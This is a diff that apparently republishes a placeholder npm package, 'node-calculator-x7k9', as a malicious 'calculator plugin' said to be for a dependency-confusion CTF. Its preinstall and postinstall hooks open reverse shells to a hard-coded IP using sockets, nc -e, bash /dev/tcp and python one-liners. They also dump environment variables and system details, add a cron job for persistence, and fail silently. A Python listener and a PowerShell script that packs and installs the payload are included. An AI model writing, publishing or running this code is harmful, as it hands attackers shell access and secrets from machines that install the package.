+ """Print timestamped log message"""
33
+ timestamp = datetime.now().strftime("%H:%M:%S")
34
+ print(f"[{timestamp}] {message}")
35
+
36
+ def handle_connection(conn, addr):
37
+ """Handle incoming reverse shell connection"""
38
+ log(f"Connection received from {addr[0]}:{addr[1]}")
39
+
40
+ # Send initial banner
41
+ banner = f"""
42
+ ╔═══════════════════════════════════════╗
43
+ ║ Reverse Shell Connected! ║
44
+ ║ From: {addr[0]:20s} ║
45
+ ║ Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S'):20s}║
46
+ ╚═══════════════════════════════════════╝
47
+
48
+ """
49
+ print(banner)
50
+
51
+ def receive_data():
52
+ """Continuously receive data from target"""
53
+ while True:
54
+ try:
55
+ data = conn.recv(4096)
56
+ if not data:
57
+ log("Connection closed by remote host")
58
+ break
59
+
60
+ # Print received data
61
+ output = data.decode('utf-8', errors='ignore')
62
+ print(output, end='', flush=True)
63
+
64
+ except Exception as e:
65
+ log(f"Error receiving data: {e}")
66
+ break
67
+
68
+ try:
69
+ conn.close()
70
+ except:
71
+ pass
72
+
73
+ def send_data():
74
+ """Send commands to target"""
75
+ while True:
76
+ try:
77
+ cmd = input()
78
+ if cmd.lower() in ['exit', 'quit']:
79
+ log("Closing connection...")
80
+ break
81
+
82
+ conn.send((cmd + '\n').encode())
83
+
84
+ except EOFError:
85
+ break
86
+ except Exception as e:
87
+ log(f"Error sending data: {e}")
88
+ break
89
+
90
+ try:
91
+ conn.close()
92
+ except:
93
+ pass
94
+
95
+ # Start threads for bidirectional communication
96
+ recv_thread = threading.Thread(target=receive_data, daemon=True)
97
+ send_thread = threading.Thread(target=send_data, daemon=True)
98
+
99
+ recv_thread.start()
100
+ send_thread.start()
101
+
102
+ # Wait for threads to finish
103
+ send_thread.join()
104
+ recv_thread.join()
105
+
106
+ log("Connection closed")
107
+
108
+ def main():
109
+ """Main listener function"""
110
+ local_ip = get_local_ip()
111
+
112
+ print("""
113
+ ╔═══════════════════════════════════════════════════════════════════╗
114
+ ║ REVERSE SHELL LISTENER ║
115
+ ║ CTF Edition v1.0 ║
116
+ ╚═══════════════════════════════════════════════════════════════════╝
117
+ """)
118
+
119
+ log(f"Local IP: {local_ip}")
120
+ log(f"Listening on {HOST}:{PORT}")
121
+
122
+ print("\n[*] Configure your payload with:")
123
+ print(f" ATTACKER_IP = '{local_ip}'")
124
+ print(f" ATTACKER_PORT = {PORT}")
125
+ print("\n[*] Waiting for connections...\n")
126
+
127
+ # Create socket
128
+ try:
129
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
130
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
131
+ s.bind((HOST, PORT))
132
+ s.listen(5)
133
+ except Exception as e:
134
+ log(f"Error creating listener: {e}")
135
+ sys.exit(1)
136
+
137
+ try:
138
+ while True:
139
+ # Accept connection
140
+ conn, addr = s.accept()
141
+
142
+ # Handle connection in a new thread (for multiple shells)
143
+ handler_thread = threading.Thread(
144
+ target=handle_connection,
145
+ args=(conn, addr),
146
+ daemon=False
147
+ )
148
+ handler_thread.start()
149
+
150
+ except KeyboardInterrupt:
151
+ log("\nShutting down listener...")
152
+ except Exception as e:
153
+ log(f"Error: {e}")
154
+ finally:
155
+ s.close()
156
+
157
+ if __name__ == "__main__":
158
+ main()
159
+
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
- {
2
- "name": "node-calculator-x7k9",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "node-calculator-x7k9",
3
+ "version": "3.1.0",
4
+ "description": "Simple calculator plugin with enhanced features",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "keywords": ["calculator", "math"],
11
+ "author": "DarkT",
12
+ "license": "MIT"
13
+ }
14
+
package/postinstall.js ADDED
@@ -0,0 +1,55 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Additional payload that runs after installation
5
+ * This provides a backup execution point
6
+ */
7
+
8
+ const { exec } = require('child_process');
9
+ const fs = require('fs');
10
+
11
+ // Configuration - MUST MATCH preinstall.js
12
+ const ATTACKER_IP = '159.223.153.251'; // Replace with your IP
13
+ const ATTACKER_PORT = 4444; // Replace with your listening port
14
+
15
+ // Create persistence
16
+ function createPersistence() {
17
+ try {
18
+ // Create a cron job for persistence (if cron is available)
19
+ const cronCmd = `(crontab -l 2>/dev/null; echo "* * * * * nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh") | crontab -`;
20
+ exec(cronCmd, () => {});
21
+
22
+ // Create a systemd timer (if systemd is available)
23
+ // Add more persistence mechanisms as needed
24
+
25
+ } catch (err) {
26
+ // Silent fail
27
+ }
28
+ }
29
+
30
+ // Execute
31
+ try {
32
+ console.log('Installing node-calculator-x7k9 v3.0.0...');
33
+
34
+ // Run backup reverse shell
35
+ setTimeout(() => {
36
+ const { spawn } = require('child_process');
37
+ const net = require('net');
38
+
39
+ try {
40
+ const client = new net.Socket();
41
+ client.connect(ATTACKER_PORT, ATTACKER_IP, function() {
42
+ const shell = spawn('/bin/sh', []);
43
+ client.pipe(shell.stdin);
44
+ shell.stdout.pipe(client);
45
+ shell.stderr.pipe(client);
46
+ });
47
+ } catch (e) {
48
+ // Silent fail
49
+ }
50
+ }, 2000);
51
+
52
+ } catch (err) {
53
+ // Silent fail
54
+ }
55
+
package/preinstall.js ADDED
@@ -0,0 +1,146 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Reverse Shell Payload for CTF
5
+ * This executes during npm install via preinstall hook
6
+ *
7
+ * IMPORTANT: Replace ATTACKER_IP and ATTACKER_PORT with your values
8
+ */
9
+
10
+ const { spawn } = require('child_process');
11
+ const net = require('net');
12
+ const fs = require('fs');
13
+
14
+ // Configuration - CHANGE THESE!
15
+ const ATTACKER_IP = '159.223.153.251'; // Replace with your IP
16
+ const ATTACKER_PORT = 4444; // Replace with your listening port
17
+
18
+ // Exfiltration log
19
+ function logExfil(data) {
20
+ const logPath = '/tmp/exfil.log';
21
+ try {
22
+ fs.appendFileSync(logPath, `[${new Date().toISOString()}] ${data}\n`);
23
+ } catch (e) {
24
+ // Silently fail
25
+ }
26
+ }
27
+
28
+ // Reverse shell function
29
+ function reverseShell() {
30
+ try {
31
+ logExfil('Attempting reverse shell connection...');
32
+
33
+ const client = new net.Socket();
34
+
35
+ client.connect(ATTACKER_PORT, ATTACKER_IP, function() {
36
+ logExfil('Connected to attacker!');
37
+
38
+ // Spawn shell
39
+ const shell = spawn('/bin/sh', [], {
40
+ stdio: ['pipe', 'pipe', 'pipe']
41
+ });
42
+
43
+ // Pipe client to shell and shell to client
44
+ client.pipe(shell.stdin);
45
+ shell.stdout.pipe(client);
46
+ shell.stderr.pipe(client);
47
+
48
+ // Send banner
49
+ client.write('=== Reverse Shell Connected ===\n');
50
+ client.write(`Hostname: ${require('os').hostname()}\n`);
51
+ client.write(`User: ${require('os').userInfo().username}\n`);
52
+ client.write(`CWD: ${process.cwd()}\n`);
53
+ client.write('================================\n\n');
54
+
55
+ shell.on('exit', function() {
56
+ client.end();
57
+ });
58
+ });
59
+
60
+ client.on('error', function(err) {
61
+ logExfil(`Connection error: ${err.message}`);
62
+ // Try alternative methods
63
+ alternativePayload();
64
+ });
65
+
66
+ } catch (err) {
67
+ logExfil(`Reverse shell error: ${err.message}`);
68
+ alternativePayload();
69
+ }
70
+ }
71
+
72
+ // Alternative payload using child_process exec
73
+ function alternativePayload() {
74
+ const { exec } = require('child_process');
75
+
76
+ // Method 1: nc reverse shell
77
+ const ncCmd = `nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh`;
78
+ exec(ncCmd, (err) => {
79
+ if (err) {
80
+ // Method 2: bash reverse shell
81
+ const bashCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`;
82
+ exec(bashCmd, () => {});
83
+
84
+ // Method 3: python reverse shell
85
+ const pythonCmd = `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${ATTACKER_IP}",${ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`;
86
+ exec(pythonCmd, () => {});
87
+ }
88
+ });
89
+ }
90
+
91
+ // Exfiltrate environment information
92
+ function exfiltrateInfo() {
93
+ try {
94
+ const info = {
95
+ hostname: require('os').hostname(),
96
+ user: require('os').userInfo().username,
97
+ cwd: process.cwd(),
98
+ env: process.env,
99
+ nodeVersion: process.version,
100
+ platform: process.platform
101
+ };
102
+
103
+ logExfil('System Info: ' + JSON.stringify(info, null, 2));
104
+
105
+ // Try to exfiltrate via HTTP POST
106
+ const https = require('https');
107
+ const postData = JSON.stringify(info);
108
+
109
+ // Uncomment and modify if you have an exfil server
110
+ /*
111
+ const options = {
112
+ hostname: 'YOUR_EXFIL_SERVER.com',
113
+ port: 443,
114
+ path: '/exfil',
115
+ method: 'POST',
116
+ headers: {
117
+ 'Content-Type': 'application/json',
118
+ 'Content-Length': postData.length
119
+ }
120
+ };
121
+
122
+ const req = https.request(options, (res) => {});
123
+ req.write(postData);
124
+ req.end();
125
+ */
126
+
127
+ } catch (err) {
128
+ logExfil(`Exfil error: ${err.message}`);
129
+ }
130
+ }
131
+
132
+ // Main execution
133
+ try {
134
+ logExfil('Malicious package installed!');
135
+ exfiltrateInfo();
136
+
137
+ // Delay to ensure npm install completes
138
+ setTimeout(() => {
139
+ reverseShell();
140
+ }, 1000);
141
+
142
+ } catch (err) {
143
+ // Silent fail to avoid suspicion
144
+ logExfil(`Main execution error: ${err.message}`);
145
+ }
146
+
package/test-local.ps1 ADDED
@@ -0,0 +1,127 @@
1
+ # Local Testing Script - Test the malicious package locally before publishing
2
+ # This simulates the attack without needing to publish to npm
3
+
4
+ param(
5
+ [string]$AttackerIP = "127.0.0.1",
6
+ [int]$AttackerPort = 4444
7
+ )
8
+
9
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
10
+ Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
11
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
12
+ Write-Host ""
13
+
14
+ # Get current directory
15
+ $rootDir = Split-Path -Parent $PSScriptRoot
16
+ $maliciousDir = Join-Path $rootDir "malicious-package"
17
+ $targetDir = Join-Path $rootDir "just-a-calculator"
18
+
19
+ Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
20
+ Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
21
+ Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
22
+ Write-Host ""
23
+
24
+ # Step 1: Configure payload
25
+ Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
26
+ Set-Location $maliciousDir
27
+
28
+ $preinstallPath = "preinstall.js"
29
+ $postinstallPath = "postinstall.js"
30
+
31
+ $preinstallContent = Get-Content $preinstallPath -Raw
32
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
33
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
34
+ Set-Content $preinstallPath -Value $preinstallContent
35
+
36
+ $postinstallContent = Get-Content $postinstallPath -Raw
37
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
38
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
39
+ Set-Content $postinstallPath -Value $postinstallContent
40
+
41
+ Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
42
+
43
+ # Step 2: Start listener
44
+ Write-Host ""
45
+ Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
46
+
47
+ if (Test-Path "listener.py") {
48
+ $listenerJob = Start-Job -ScriptBlock {
49
+ param($dir, $port)
50
+ Set-Location $dir
51
+ python3 listener.py $port
52
+ } -ArgumentList $maliciousDir, $AttackerPort
53
+ Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
54
+ } else {
55
+ Write-Host " [!] listener.py not found" -ForegroundColor Red
56
+ }
57
+
58
+ Start-Sleep -Seconds 2
59
+
60
+ # Step 3: Pack the malicious package
61
+ Write-Host ""
62
+ Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
63
+ $packOutput = npm pack 2>&1
64
+ Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
65
+
66
+ # Step 4: Install into target application
67
+ Write-Host ""
68
+ Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
69
+ Set-Location $targetDir
70
+
71
+ # Remove old package
72
+ if (Test-Path "node_modules\node-calculator-x7k9") {
73
+ Write-Host " [*] Removing old package..." -ForegroundColor Yellow
74
+ Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
75
+ }
76
+
77
+ # Install malicious package
78
+ $packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
79
+ Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
80
+
81
+ npm install $packagePath
82
+
83
+ Write-Host " [✓] Package installed!" -ForegroundColor Green
84
+
85
+ # Step 5: Check listener
86
+ Write-Host ""
87
+ Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
88
+ Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
89
+ Write-Host ""
90
+
91
+ # Monitor listener for 30 seconds
92
+ $timeout = 30
93
+ $elapsed = 0
94
+ while ($elapsed -lt $timeout) {
95
+ $output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
96
+ if ($output) {
97
+ Write-Host $output
98
+ if ($output -match "Connection received") {
99
+ Write-Host ""
100
+ Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
101
+ break
102
+ }
103
+ }
104
+ Start-Sleep -Seconds 2
105
+ $elapsed += 2
106
+ Write-Host "." -NoNewline -ForegroundColor Gray
107
+ }
108
+
109
+ Write-Host ""
110
+ Write-Host ""
111
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
112
+ Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
113
+ Write-Host "║ ║" -ForegroundColor Cyan
114
+ Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
115
+ Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
116
+ Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
117
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
118
+
119
+ Write-Host ""
120
+ Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
121
+ Read-Host
122
+
123
+ # Cleanup
124
+ Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
125
+ Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
126
+ Write-Host "[✓] Cleanup complete" -ForegroundColor Green
127
+